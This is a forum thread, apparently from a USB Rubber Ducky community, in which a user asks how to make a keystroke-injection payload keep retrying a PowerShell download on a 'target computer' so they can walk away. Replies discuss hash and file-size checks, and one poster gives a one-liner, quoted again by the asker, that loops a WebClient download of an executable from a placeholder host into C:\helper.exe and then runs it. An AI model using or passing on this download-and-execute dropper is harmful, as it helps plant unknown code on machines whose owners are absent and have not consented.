Jump to content

Powershell - retry download until complete?


this-is-me

Recommended Posts

I was wondering if there is a method to ensure a download from PowerShell is finished before executing. After all, we aren't going to be monitoring the computer ourselves once the ducky has begun its background process, now are we?

If. for example, the target computer is offline, is there a way to get PowerShell to keep trying until internet access is gained?

I know there are other ways of handling this, such as keeping the file on the MicroSD and using twin duck. However, I am looking for a solution that allows me to walk away, and I'm not sure the read speed of the duck is enough.

Link to comment
Share on other sites

Whenever I need something like this I start the download at the very beginning of the duckscript, do all the precursory operations, and if I need to I insert a big delay, of about 7 or 8 seconds or something. Then I execute the downloaded program. What you might be able to do is md5 the file if it is fairly constant, and create a background task that md5's the file every few seconds, to determine if the hash matches what the final hash should be. If the download locks the file instead of sharing it however it might not be possible to do. If the file is not complete, the hashes will not match. This also hinges on the assumption that powershell has some sort of md5 function. I don't really know all that much about powershell, I just google what I need.

Link to comment
Share on other sites

To use / compare md5 :

http://stackoverflow.com/questions/10521061/how-to-get-an-md5-checksum-in-powershell

but have you tried something easier ? :

from : http://stackoverflow.com/questions/1199645/how-can-i-check-the-size-of-a-file-in-a-windows-batch-script

Use the filesize of the downloaded file to check if its complete ?

Set objFS = CreateObject("Scripting.FileSystemObject")
Set wshArgs = WScript.Arguments
strFile = wshArgs(0)
WScript.Echo objFS.GetFile(strFile).Size & " bytes"

use a set to determine the size; while downloadedsize < set_size sleep

Easier then using md5 hashes

Link to comment
Share on other sites

I see a bunch of suggestions that are "easier", but why not just continuously retry the download using just powershell? That way you don't need to worry about walking away.

do{sleep 5;(New-Object Net.WebClient).DownloadFile('http://yourhost.com/helpfulexecutable.exe','C:\helper.exe')}while(!$?);&'C:\helper.exe'

Should work just fine. It'll loop forever until the file is downloaded (or until the process is closed), then it runs it.

Link to comment
Share on other sites

Thank you so much!.This is EXACTLY what I wanted. It even functions when the file is large, and the internet connection fails mid-stream. It seems to be able to resume the file transfer. I am grateful, White Light, that you provided this information.

For those who use this code, however, a warning: The target folder must exist, or else there will be a never-ending exception.

I see a bunch of suggestions that are "easier", but why not just continuously retry the download using just powershell? That way you don't need to worry about walking away.

do{sleep 5;(New-Object Net.WebClient).DownloadFile('http://yourhost.com/helpfulexecutable.exe','C:\helper.exe')}while(!$?);&'C:\helper.exe'

Should work just fine. It'll loop forever until the file is downloaded (or until the process is closed), then it runs it.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...